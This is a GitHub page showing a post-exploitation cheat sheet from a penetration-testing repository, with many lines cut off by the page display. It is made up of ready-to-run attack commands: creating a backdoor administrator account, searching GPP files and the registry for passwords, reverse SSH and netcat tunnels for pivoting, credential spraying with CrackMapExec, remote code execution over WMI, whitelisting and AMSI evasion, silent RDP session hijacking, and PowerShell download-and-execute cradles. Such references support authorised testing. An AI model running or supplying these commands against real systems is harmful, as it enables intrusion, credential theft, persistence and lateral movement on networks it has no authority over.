Sign in

kmkz / Pentesting Public

Notifications Fork 151 Star 567

Code Issues Pull requests Actions Projects Security Insights

Pentesting / Post-Exploitation-Cheat-Sheet

158 lines (108 loc) · 6.6 KB

Code Blame Raw

```

************************************************************************************************
                                        Persistence/backdooring/Privesc basics
************************************************************************************************

[*] Windows env.:

Add user windows:
        C:\Program Files>net user kmkz tatamaster /add
        net user kmkz tatamaster /add
        The command completed successfully.

        C:\Program Files>net localgroup Administrators kmkz /add
        net localgroup Administrators kmkz /add
        The command completed successfully.

Find pass in GPP:
        findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Windows password value in reg.keys:
        reg query HKLM /f password /t REG_SZ /s

Winlogon RegKey passwd research/access (psexec 4 privesc):
        C:\xampp\webdav>reg query HKLM /f password /t REG_SZ /s

Find privesc exploit (via meterpreter) :
        post/multi/recon/local_exploit_suggester

Recently typed "run" commands:
        reg query x64 HKCU\software\microsoft\windows\currentversion\explorer\runmru

List available shares using WMI and powershell:
        Get-WmiObject Win32_share -computer YourServer

[*]Linux env.:

root file with RW perms:
        find / -user root -perm -o+w -type f 2> /dev/null  | grep -v /proc

Find privesc exploit (via meterpreter) :
        post/multi/recon/local_exploit_suggester

***********************************************************************************************
                                        Pivoting
***********************************************************************************************
Use "socks4a" as proxy to pivot (set proxyhain and/or brower proxy) in MSF

proxychains ssh -R 0.0.0.0:23:10.11.0.244:23 kmkz@10.1.1.224
        -> Tunneling ssh (on set le lhost sur le serveur ssh, idem cot msf payload (stager requiert

Port forwarding:
        If a machine only is allowed to perform outbound connections on port 80 and we want to conn
        to its RDP service, we can use a linux proxy with a port redirection software such as rinet

        vim /etc/rinetd.conf

        bindaddress             bindport        TargetAddress           connectport
        Linux-Public-IP 80                      Target-Machine-IP       3389

        note: For windows platform: fpipe and winrelay

Reverse SSH Tunnel:

        plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389    --> exposes the RDP port of

        plink -l root -pw mypassword 192.168.18.84 -R



SSH Dynamic Port Forwarding:

        (on attacker machine) ssh -D 8000 root@owenedSSHserver.com

        From here, we now are able to set a proxy that forwards all applications traffic through po
        This allow us to attack the internal network from our attacking machine (using our tools) t

        echo "socks4 127.0.0.1 8000" > /etc/proxychains.conf

Port forwading SSH (useful!)
        on 127.0.0.1: ssh -L 4455:192.168.12.103:443 kmkz@192.168.1.55
        access to 443 on 192.168.12.103 through 192.168.1.55 which is the GW (Browse 127.0.0.1:4455


mknod backpipe p

        RDP on  192.168.1.14 over HTTP from 192.168.1.253 (on pivot machine:192.168.1.253 to access
        nc -l -p 8080 0<backpipe | nc <IP_TARGET>3389 1>backpipe

***********************************************************************************************
                                        Lateral Movement
***********************************************************************************************

Pwn the scope:
        https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials
        example:
                crackmapexec <protocol> <target(s)> -u username -p password

        -> use cmedb to view stored datas

WMI:
        wmic /node:127.0.0.1 path win32_groupuser where (groupcomponent="win32_group.name=\"adminis

        List sysaccount types:
                wmic sysaccount list /format:list

        Get logged-on users:
                wmic /node:ordws01 path win32_loggedonuser get antecedent

                From file:
                        wmic /node:@workstations.txt path win32_loggedonuser get antecedent

        Authenticated RCE:
                local: wmic /node:127.0.0.1 PROCESS CALL Create "cmd.exe /c net user >> C:/Temp/tes
                remote with UNC output: wmic /node:@workstations.txt /user:[admin_for_rce] process

        Application whitelisting bypass for lateral movement:
                wmic process get brief /format:"C:\Users\WMI\poc-wmic.xsl"
                wmic process LIST /FORMAT:"\\127.0.0.1\c$\Users\WMI\poc-wmic.xsl"
                Via proxy authentication:
                powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.Crede

        Fudness:
                WMI Class Derivation (Evasion) with no "win32" prefix:
                $C = [WmiClass] '/root/cimv2:Win32_Process'
                $N = $C.derive('MyEvilProcess')
                $N.Put()
                Invoke-WmiMethod MyEvilProcess -Name CrEaTe -ArgumentList calc.exe

        WMI through PtH:
                https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1

        ** Lateral movement tip (01/2020):
        Transparent RDP session hijacking using MS signed binary *only*, no session limit, no user

        [+] Prerequisites:
                - Station or server that is part of an AD forest
                - Windows >= 2012 to support shadow RDP
                - Remote RPC registry key set to 1 (classical configuration on MS Env. do not panic
                note that allowRemoteRPC key is located in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl

        + Note that if "evil" user is D.A group member UAC is non effective EVEN if enforced on the
        + Documentation: https://support.microsoft.com/en-us/help/951016/description-of-user-accour

        [+] Steps to reproduce:

                Get remote session ID you want to target using QWINSTA:
                Doc: https://docs.microsoft.com/en-us/windows-server/administration/windows-command
                Command: qwinsta /server:(target ip addr)

                RDP session hijacking without prompt and without kicking the active session using s
                Docs:
                        https://docs.microsoft.com/en-us/windows-server/administration/windows-comm
                        https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-s
                Command: mstsc /v:(target ip addr) /admin /noconsentPrompt /shadow:(collected sessi

        ** Reminder **
        In-memory BloodHound ingestor execution (using basic dropper.. be careful to AMSI ;) ):
                powershell.exe -nop -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[
```